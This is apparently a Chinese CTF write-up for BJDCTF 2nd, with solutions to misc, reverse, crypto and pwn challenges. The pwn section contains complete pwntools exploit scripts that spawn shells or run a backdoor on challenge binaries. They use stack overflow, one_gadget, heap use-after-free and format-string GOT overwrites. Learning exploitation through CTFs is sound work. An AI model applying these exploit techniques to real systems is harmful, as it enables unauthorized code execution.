[BJDCTF 2nd]

前言

菜是原罪

Misc

Secret

下载下来是个压缩包,解一下伪加密,得到一个名为Secret的文件,16进制查看以后发现存在IHDR这个Png文件的标志位,故推测这是个png文件,但缺少了头部的89 50 4E 47这四个字节,补齐,改拓展名为png即可,可以看到一堆HEX,转ASCII即为flag。

A_Beautiful_Picture

改一下IHDR就能看到flag

Easybaba

binwalk一下,发现有zip,提取出来,里面有个里面全是出题人.jpg,实际上这是个avi文件,然后avi抽帧,有好多二维码,每个二维码能扫出来一部分flag,组合起来是一串base16,解码得到疑似flag的字符串,看着像栅栏,但实际上不是,但是都是单词。。。还有很明显的恶搞意味,修改修改顺序就得到flag。

BJD{imagin_love_Y1ng}

小姐姐-y1ng

16进制查看器打开以后搜BJD即可。。。

Real_EasyBaBa

这题已吐…看着WP都难搞……

圣火昭昭

这道题目相比于其他脑洞杂项题,还是有一些可以学习的新知识点的。

TARGZ-y1ng

套娃题目,全当练算法了,WP说压缩了300层。。。。也就是300层套娃。。。压缩包的名字就是解压密码。。。

有个坑点…这些都是zip,但拓展名都是tar.gz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: UTF-8 -*-
import os
import zipfile
import time
path = 'C:\\Users\\LiuLian\\Desktop\\test\\'
count = 0
t0 = time.time()
while True:
try:
name = os.listdir(path)[0]
zip = zipfile.ZipFile(path+name,'r')
newfilename = zip.namelist()[0]
pwd = name.replace('.tar.gz','')
zip.extract(newfilename,path,pwd)
zip.close()
os.remove(path+name)
count += 1
except:
print '[*] error or finished!'
t1 = time.time()
break
print '总共运行了' + str(t1-t0) + '秒'
print '总共套了' + str(count) + '层娃'
1
2
3
[*] error or finished!
总共运行了22.1809999943秒
总共套了298层娃

运行就能拿到一个名为flag的文件,里面就是flag。

脚本都跑了二十二秒多…. 手动解压的话估计要累到死。。。

运行结果显示总共套了298层娃。。。。

Imagin开场曲

挺有意思的杂项,就纯听力题…

不过通过这个题了解到一个挺好玩的东西叫Mikutap

BJD{MIKUTAP3313313}


Reverse

guessgame

IDA加载,Shift+F12即可看到flag。。。。。。

8086

这题考察汇编。

但一些代码被IDA识别为数据了,按C还原为代码,即可看到程序的逻辑

所以对这个字符串]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;进行与0x1f异或的操作即可

flag: BJD{jack_de_hu1b1an_xuede_henHa0}


Pwn

写在前面

本次CTF的pwn题大部分都是Ubuntu19.04的,libc是libc-2.29.so,但通过patchelf依然可以在其他版本的U buntu上进行本地调试。

r2t3

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

存在后门函数0x804858B dl_registery()调用system('/bin/sh')

main函数的read处没有栈溢出,接着看name_check

这里的strcpy可以操作一波,但是需要先绕过前面的长度检测,来看一下汇编

可以看到这里,调用完strlen以后长度保存在eax中,而这里是令v3 = al然后再进行的长度验证,也就是说真正验证的是长度的低字节。

所以就可以先构造好payload,然后payload = payload.ljust(size,'a'),size取0x1040x108或者0x2040x208或者… 只要让它低字节在0x04~0x08之间即可,当然也不能超过read的size。还有一点需要注意,sendline相比send要多出一个\n,这也占size的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level = 'debug',arch = 'i386',os = 'linux')
c = process('./r2t3')
#c = remote('node3.buuoj.cn',29366)
backdoor = 0x804858B
#gdb.attach(c,'b * 0x80485E1')
c.recvuntil('Please input your name:\n')
payload = 'a'*0x11
payload += 'b'*4
payload += p32(backdoor) + p32(0xdeadbeef)
payload = payload.ljust(0x106,'a')
c.send(payload)

c.interactive()

one_gadget

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序保护全开

但是在init函数里面存在一个leak,泄露了printf的地址,而且题目也提供了libc,所以可以泄露出libcbase

main函数也格外的和谐,直接读入one_gadget然后调用…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 one_gadget libc-2.29.so 
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

这里似乎只有第四个能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

c = remote('node3.buuoj.cn',26393)
#c = process('./one_gadget')
elf = ELF('./one_gadget')
libc = ELF('./libc-2.29.so')

c.recvuntil('here is the gift for u:')

libcbase = int(c.recvuntil('\n',drop = True),16) - libc.symbols['printf']
success('libcbase = ' + hex(libcbase))
oneGadget = libcbase + 0x106ef8

c.sendline(str(oneGadget))

c.interactive()

ydsneedgirlfriend2

真·入门级堆题,感谢出题人不杀之恩。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

题目提供4个功能

1
2
3
4
1.add a girlfriend
2.dele a girlfriend
3.show a girlfriend
4.exit

其中add里面,只会在第一次add的时候在girlfriends[0]申请0x10大小的堆块。

*girlfriends[0]存放的是最新一次add时,申请的name的chunk。

*girlfriends[1]存放的是print_girlfriend_name的函数指针。

delete函数存在UAF漏洞,free掉但未置为NULL。

而且出题人太贴心了,给了backdoor函数

思路较为简单,借助FastbinFILO特性,结合delete函数中的free顺序可得

1
2
3
4
add(0x10,'aaaa')
delete(0)
add(0x10,'b'*8 + p64(backdoor))#change print_girlfriend_name -> backdoor
show(0)# do backdoor

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context(arch = 'amd64',os = 'linux')

c = remote('node3.buuoj.cn',26074)
#c = process('./ydsneedgirlfriend2')
elf = ELF('./ydsneedgirlfriend2')
girlfriends = 0x6020A0
backdoor = 0x400D86

def add(length,name):
c.recvuntil('u choice :\n')
c.sendline('1')
c.recvuntil('Please input the length of her name:\n')
c.sendline(str(length))
c.recvuntil('Please tell me her name:\n')
c.send(name)

def delete(idx):
c.recvuntil('u choice :\n')
c.sendline('2')
c.recvuntil('Index :')
c.sendline(str(idx))

def show(idx):
c.recvuntil('u choice :\n')
c.sendline('3')
c.recvuntil('Index :')
c.sendline(str(idx))

add(0x10,'aaaaaaaa')
delete(0)
add(0x10,'bbbbbbbb'+p64(backdoor))
show(0)
c.interactive()

r2t4

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

main函数有明显的格式化字符串漏洞和栈溢出,但只溢出了8个字节,只够覆盖掉rbp

存在backdoor函数,调用system('cat flag')

看了半天没想起来怎么做,canary过不掉。。。赛后看了wp以后…

既然canary过不掉,那就直接故意触发吧,修改__stack_chk_fail_gotbackdoor即可。。。。

这里我之前写的fmtstr_payload64生成的payload的长度为0x40,超出read的size了,很无奈,只能按short类型来手动写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(log_level = 'debug',arch = 'amd64',os = 'linux')

c = remote('node3.buuoj.cn',27717)
#c = process('./r2t4')
elf = ELF('./r2t4')
__stack_chk_fail=elf.got['__stack_chk_fail']
success('__stack_chk_fail.got = ' + hex(__stack_chk_fail))

sleep(1)

backdoor = 0x400626

payload = '%64c%9$hn%1510c%10$hnaaa'
payload += p64(__stack_chk_fail+2)
payload += p64(__stack_chk_fail)

success('payload.length = ' + hex(len(payload)))

c.sendline(payload)

c.interactive()

secret

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

挺蛋疼的一道题目

让你猜秘密,实际上就是猜数字,虽然这些数字在IDA中都能通过正则表达式匹配出来。。。但是一共1万个!!

有的老哥真匹配出来然后send了一万次….被BUU封IP了….

官方WP里的做法就比较巧妙

name实际大小为0x10,但却read了0x16个字节

而name与times_ptr紧邻,多出的6个字节可以用来覆盖times_ptr

注意这里是times_ptr,这是个指针,指向真实的times

程序初始times = 10000,每猜对一次,times -= 1

程序给出了system函数,而且当猜错以后会调用printf(name);

起初想着能不能利用这个格式化字符串漏洞,但是仔细想了想,似乎不太可行。

但是我们可以通过修改printf_got为system,令name以/bin/sh;开头,触发system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11

[0x46d018] puts@GLIBC_2.2.5 -> 0x7ffff7e64cc0 (puts) ◂— push r14
[0x46d020] write@GLIBC_2.2.5 -> 0x7ffff7eee010 (write) ◂— lea rax, [rip + 0xdd3b9]
[0x46d028] strlen@GLIBC_2.2.5 -> 0x7ffff7f67090 ◂— mov ecx, edi
[0x46d030] __stack_chk_fail@GLIBC_2.4 -> 0x401066 (__stack_chk_fail@plt+6) ◂— push 3
[0x46d038] system@GLIBC_2.2.5 -> 0x401076 (system@plt+6) ◂— push 4
[0x46d040] printf@GLIBC_2.2.5 -> 0x401086 (printf@plt+6) ◂— push 5
[0x46d048] read@GLIBC_2.2.5 -> 0x7ffff7eedf70 (read) ◂— lea rax, [rip + 0xdd459]
[0x46d050] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e653d0 (setvbuf) ◂— push r13
[0x46d058] atoi@GLIBC_2.2.5 -> 0x4010b6 (atoi@plt+6) ◂— push 8
[0x46d060] sprintf@GLIBC_2.2.5 -> 0x4010c6 (sprintf@plt+6) ◂— push 9 /* 'h\t' */
[0x46d068] exit@GLIBC_2.2.5 -> 0x4010d6 (exit@plt+6) ◂— push 0xa /* 'h\n' */

可以看到printf@plt + 6 = 0x401086 , system@plt + 6 = 0x401076只相差0x10。

加之每猜对一次,times -= 1,我们可以通过溢出覆盖times_ptr0x46d040,然后答对一定的次数,让printf_got变为system_plt,然后故意答错,触发printf(name)即触发system('/bin/sh')

这里有一点需要注意:官方WP给的是答对0x10次,让printf_got变成0x401076也就是system@plt + 6,但是亲测打不通,调试以后发现其他一切正常,但是调用system的时候报段错误…这里我试了一下,答对0x14或者0x15次,也就是让printf_got变成system@plt+2或者system@plt+1才可。

附上EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(arch = 'amd64',os = 'linux')
#c = process('./secret')
c = remote('node3.buuoj.cn',29217)
elf = ELF('./secret')
L = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3f7d,0x357a,0x3cf5,
0x2f9e,0x41ea,0x48d8,0x2763,0x474c,0x3809,0x2e63,0x2f4a,
0x3298,0x28f3,0x3d1b,0x449e,0x3328]
success(hex(elf.got['printf']))
c.recvuntil('What\'s your name?')
c.sendline('/bin/sh;AAAAAAAA'+p32(elf.got['printf']))#use p32()

for i in L:
c.recvuntil('Secret:')
c.sendline(str(i))

#gdb.attach(c, 'b * 0x40133a')

c.recvuntil('Secret:')
c.sendline('66666')

c.interactive()

Crypto

签到-y1ng

base64,decode一下就好了。

老文盲了

脑洞够大。

罼雧締眔擴灝淛匶襫黼瀬鎶軄鶛驕鳓哵眔鞹鰝

这句话的谐音就是BJD大括号这就是福莱格(flag)直接交了吧大括号

所以flag为BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

燕言燕语-y1ng

1
2
小燕子,穿花衣,年年春天来这里,我问燕子你为啥来,燕子说:
79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20

给了一串HEX,转ASCII以后是yanzi ZJQ{xilzv_iqssuhoc_suzjg}

猜测是维吉尼亚密码,密钥是yanzi,成功解密

flag为BJD{yanzi_jiushige_shabi}

cat_flag

小猫很可爱。

从上往下,每一行代表一个二进制数,吃饭团的表示0,吃鸡腿的表示1

bin转ascii得到flag。

BJD{M!a0~}

灵能精通-y1ng

这题有点水,赛后看WP才知道这个密码是圣堂武士密码,通过查题目的题干能知道这是星际争霸里面的一个角色的一个技能台词??!!

Y1nglish-y1ng

给了一个txt

1
2
3
Nkbaslk ds sef aslckdqdqst. Sef aslckdqdqst qo lzqtbw usf ufkoplkt zth oscpslsfko. Dpkfk zfk uqjk dwcko su dscqao qt dpqo aslckdqdqst, kzap su npqap qo jkfw mzoqa. Qu wse zfk qtdkfkodkh qt tkdnsfw okaefqdw, nkbaslk ds czfdqaqczdk. Bkd lk dkbb wse z odsfw.
Q nzo pzjqtv hqttkf zd z fkodzefztd npkt Pzffw Odkkbk azlk qt, pk qo z Izcztkok ufsl Izczt med tsn pk qo tsd bqjqtv qt Izczt, lzwmk Pzffw qot'd z Izcztkok tzlk med pk qo fkzbbw z Izcztkok. Pzffw nsfwkh qt z bznwkf'o suuqak wkzfo zvs, med pk qo tsn nsfwqtv zd z mztw. Pk vkdo z vssh ozbzfw, med pk zbnzwo msffsno lstkw ufsl pqo ufqktho zth tkjkf czwo qd mzaw. Pzffw ozn lk zth azlk zthozdzd dpk ozlk dzmbk. Pk pzo tkjkf msffsnkh lstkw ufsl lk. Npqbk pk nzo kzdqtv, Q zowkh pql ds bkth lk &2. Ds lw oefcfqok, pk vzjk lk dpk lstkw qllkhqzdkbw. 'Q pzjk tkjkf msfffsnkh ztw lstkw ufsl wse,' Pzffw ozqh,'os tsn wse azt czw usf lw hqttkf!' Tsn q nqbb vqjk wse npzd wse nztd.
MIH{cwdp0t_Mfed3_u0fa3_sF_geqcgeqc_ZQ_Af4aw}

下面有类似于flag的东西,但开头不是BJD而是MIH,盲猜维吉尼亚密码。

quipqiup在线解密,指定MIH=BJD,可以得到

1
Welcome to our competition. Our competition is mainly for freshmen and sophomores. There are five types of topics in this competition, each of which is very basic. If you are interested in networy security, welcome to participate. Let me tell you a story. I was having dinner at a restaurant when Harry Steele came in, he is a Japanese from Japan but now he is not living in Japan, maybe Harry isn't a Japanese name but he is really a Japanese. Harry woryed in a lawyer's office years ago, but he is now worying at a bany. He gets a good salary, but he always borrows money from his friends and never pays it bacy. Harry saw me and came andsatat the same table. He has never borrowed money from me. While he was eating, I asyed him to lend me &2. To my surprise, he gave me the money immediately. 'I have never borrrowed any money from you,' Harry said,'so now you can pay for my dinner!' Now i will give you what you want. BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4cy}

但是提交一直不成功,修改Cr4cyCr4zy也不成功,去群里看了看公告,发现有地方需要改。

读了读上面那段话,发现那段话里面该是k的地方全变成了y,所以修改Cr4cyCr4ck

BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

rsa0

nc连接以后有如下回显,好像因为靶机不同,具体的回显也不同

1
2
3
4
5
6
7
8
9
e=15549851

p+q=20863578032664632805803247009000344892321432818463015557495155759957380706376484569788486497652311136327651058215395343509008398250545579129166602948550344

p-q=-3836010044914889517982485973339196492824587499988100701447424038126206797371420912301320412708697078766834687669285168738335604543547774164235502781085390

c=4782030868853667565973405123820473791306349016814206730867994644057366366041543210479132972104172048240423839135782546226203699218766360325105809914202058277363302078844368666294196255268662132894564282205856907640709197985497727498750715398166130536191311534456423579523525954133760668637482507379670206959

flag=??????

….直接解出来p和q 然后…直接做就行…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2

p =gmpy2.mpz(8513783993874871643910380517830574199748422659237457428023865860915586954502531828743583042471807028780408185273055087385336396853498902482465550083732477)
q =gmpy2.mpz(12349794038789761161892866491169770692573010159225558129471289899041793751873952741044903455180504107547242872942340256123672001397046676646701052864817867)
e =gmpy2.mpz(15549851)

phi_n= (p - 1) * (q - 1)

n=p*q

d = gmpy2.invert(e, phi_n)

c=gmpy2.mpz(4782030868853667565973405123820473791306349016814206730867994644057366366041543210479132972104172048240423839135782546226203699218766360325105809914202058277363302078844368666294196255268662132894564282205856907640709197985497727498750715398166130536191311534456423579523525954133760668637482507379670206959)

m=pow(c,d,n)

print 'm = ' + str(m)

print hex(m)[2:].replace('L','').decode('hex')

rsa1

同样是靶机不同,回显不同

和rsa0一样,不过这个要根据完全平方公式推出来p和q、尝试过得出来pq(也就是n)以后直接分解n,但是分解难度太大,所以还是根据完全平方公式推p和q吧。

有一处是需要对(p+q)^2进行开放,普通的math.sqrt()方法因为这个数太大了而会报错,这里需要用gmpy2.iroot(gg,2),gg代表(p+q)^2,很幸运,正好开平方,也就是得到的结果进行平方以后正好等于(p+q)^2

得到pqec以后脚本和rsa0就一样了。